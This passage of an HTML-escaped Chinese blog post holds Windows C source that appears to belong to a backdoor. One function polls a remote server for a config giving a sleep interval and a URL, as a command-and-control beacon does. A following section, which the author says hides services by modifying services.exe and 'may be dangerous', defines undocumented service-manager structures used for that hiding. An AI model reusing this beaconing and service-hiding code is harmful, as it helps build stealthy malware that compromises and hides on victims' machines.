#0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;tmp2[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MULTI_TO_WIDE(&amp;nbsp;tmp2,&amp;nbsp;send_buff&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Send&amp;nbsp;request&amp;nbsp;to&amp;nbsp;get&amp;nbsp;config:\n&amp;nbsp;%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;tmp2&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;send(&amp;nbsp;sock,&amp;nbsp;send_buff,&amp;nbsp;strlen(send_buff),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;SOCKET_ERROR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ret&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Send&amp;nbsp;request&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(&amp;nbsp;sock&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Send&amp;nbsp;request&amp;nbsp;ok!\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;recv_buff[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1024&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recv(&amp;nbsp;sock,&amp;nbsp;recv_buff,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1000&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;recv_buff&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(&amp;nbsp;sock&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(&amp;nbsp;sock&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;content&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;strstr(&amp;nbsp;recv_buff,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\r\n\r\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;content&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;content&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;strlen(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\r\n\r\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;c[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MULTI_TO_WIDE(&amp;nbsp;c,&amp;nbsp;content&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Config&amp;nbsp;content&amp;nbsp;is:\n%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;c&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;split_flag&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;strstr(&amp;nbsp;content,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;|&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;split_flag&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;tmp_time[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;tmp_url[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;split_flag&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;content&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep_time&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;DEFAULT_SLEEP_TIME;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strncpy(&amp;nbsp;tmp_time,&amp;nbsp;content,&amp;nbsp;split_flag&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;content&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep_time&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;atoi(&amp;nbsp;tmp_time&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;strlen(&amp;nbsp;split_flag&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;url_path,&amp;nbsp;DEFAULT_URL&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;url_path,&amp;nbsp;split_flag&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;getconfig_error:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep_time&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;DEFAULT_SLEEP_TIME;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;url_path,&amp;nbsp;DEFAULT_URL&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;记录日志函数&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;LogToFile(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;str&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;fp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fp&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;fopen(&amp;nbsp;DEBUG_LOG,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;a&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fwprintf(&amp;nbsp;fp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;str&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fclose(&amp;nbsp;fp&amp;nbsp;);&lt;br&gt;}&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;     这个是隐藏服务用的，修改了services.exe文件，可能有一定的危险性。 &lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;yunshu(pst)&amp;nbsp;Copy&amp;nbsp;from&amp;nbsp;zzzevazzz(pst)'s&amp;nbsp;code&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;几个Undocument的结构&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_SERVICE_PROCESS&amp;nbsp;SC_SERVICE_PROCESS,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_SERVICE_PROCESS;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_DEPEND_SERVICE&amp;nbsp;SC_DEPEND_SERVICE,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_DEPEND_SERVICE;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_SERVICE_RECORD&amp;nbsp;SC_SERVICE_RECORD,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_SERVICE_RECORD;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_SERVICE_PROCESS&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_PROCESS&amp;nbsp;Previous;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_PROCESS&amp;nbsp;Next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: 